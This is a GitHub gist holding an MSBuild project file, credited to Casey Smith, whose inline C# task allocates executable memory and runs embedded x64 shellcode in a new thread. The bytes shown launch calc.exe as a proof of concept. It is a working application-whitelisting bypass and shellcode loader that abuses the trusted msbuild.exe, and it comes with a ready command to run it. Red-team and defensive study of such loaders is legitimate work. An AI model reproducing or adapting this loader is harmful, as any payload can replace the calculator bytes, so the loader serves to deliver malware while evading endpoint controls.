Last active
May 19, 2021 06:14
-
-
Save CCob/f57bf76db6b036501757258a509e9839 to your computer and use it in GitHub Desktop.
Execute x64 Shellcode
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- This inline task executes x64 shellcode. --> | |
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe SimpleTasks.csproj --> | |
<!-- Save This File And Execute The Above Command --> | |
<!-- Author: Casey Smith, Twitter: @subTee --> | |
<!-- License: BSD 3-Clause --> | |
<Target Name="Hello"> | |
<ClassExample /> | |
</Target> | |
<UsingTask | |
TaskName="ClassExample" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<Task> | |
<Code Type="Class" Language="cs"> | |
<![CDATA[ | |
using System; | |
using System.Runtime.InteropServices; | |
using Microsoft.Build.Framework; | |
using Microsoft.Build.Utilities; | |
public class ClassExample : Task, ITask | |
{ | |
private static UInt32 MEM_COMMIT = 0x1000; | |
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | |
[DllImport("kernel32")] | |
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, | |
UInt32 size, UInt32 flAllocationType, UInt32 flProtect); | |
[DllImport("kernel32")] | |
private static extern IntPtr CreateThread( | |
IntPtr lpThreadAttributes, | |
UInt32 dwStackSize, | |
IntPtr lpStartAddress, | |
IntPtr param, | |
UInt32 dwCreationFlags, | |
ref UInt32 lpThreadId | |
); | |
[DllImport("kernel32")] | |
private static extern UInt32 WaitForSingleObject( | |
IntPtr hHandle, | |
UInt32 dwMilliseconds | |
); | |
public override bool Execute() | |
{ | |
byte[] shellcode = new byte[276] { | |
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, | |
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, | |
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, | |
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, | |
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, | |
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, | |
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, | |
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, | |
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, | |
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, | |
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, | |
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, | |
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, | |
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, | |
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, | |
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, | |
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, | |
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, | |
0x63,0x2e,0x65,0x78,0x65,0x00 }; | |
IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UInt32)shellcode.Length, | |
MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); | |
IntPtr hThread = IntPtr.Zero; | |
UInt32 threadId = 0; | |
IntPtr pinfo = IntPtr.Zero; | |
hThread = CreateThread(IntPtr.Zero, 0, funcAddr, pinfo, 0, ref threadId); | |
WaitForSingleObject(hThread, 0xFFFFFFFF); | |
return true; | |
} | |
} | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment